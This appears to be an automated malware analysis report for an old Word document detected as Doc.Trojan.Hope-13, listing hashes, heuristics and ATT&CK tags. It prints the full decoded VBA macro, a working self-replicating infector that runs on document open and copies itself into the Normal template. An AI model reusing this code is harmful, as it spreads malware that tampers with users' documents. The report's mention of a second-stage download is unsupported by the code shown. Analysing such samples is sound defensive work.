Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 410c1c8f5340c843…

MALICIOUS

Office (OLE)

29.0 KB Created: 2000-03-24 23:11:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 612bdd51863a635b6348c86b553f0b4c SHA-1: af9d55bc4389b8220f99addd0d474689d6c93d9c SHA-256: 410c1c8f5340c843bbb1cb99f5d564c5b66dd3b4778d7acc20278f71cae2d522
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically triggering a Document_Open macro. This macro is designed to modify the Normal template and potentially execute further malicious actions. The ClamAV detection 'Doc.Trojan.Hope-13' strongly suggests malicious intent, likely involving the download or execution of a second-stage payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Hope-13 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-13
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2583 bytes
SHA-256: dfadf63897f8c3c3a7784f33d2129fa54276d0ab88518df9e4310c5b243c4cab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Application.EnableCancelKey = wdCancelDisabled
Options.ConfirmConversions = True 
Options.SaveNormalPrompt = True 
Options.VirusProtection = True 
If ThisDocument = ActiveDocument Then Set Target = NormalTemplate Else Set Target = ActiveDocument
HD = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
If Target.VBProject.VBComponents.Item(1).CodeModule.CountOfLines >= 1 Then
TD = Target.VBProject.VBComponents.Item(1).CodeModule.Lines(1, Target.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
End If
If HD <> TD Then
If Target = ActiveDocument Then
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString HD
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.Saved = True
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.Saved = True
ElseIf Target = NormalTemplate Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString HD
NormalTemplate.Save
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.Saved = True
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.Saved = True
End If
ElseIf HD = TD Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.Saved = True
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.Saved = True
End If
End Sub
'Rachel Is A Hottie!

Open this report in the interactive analyzer, or submit your own file for analysis.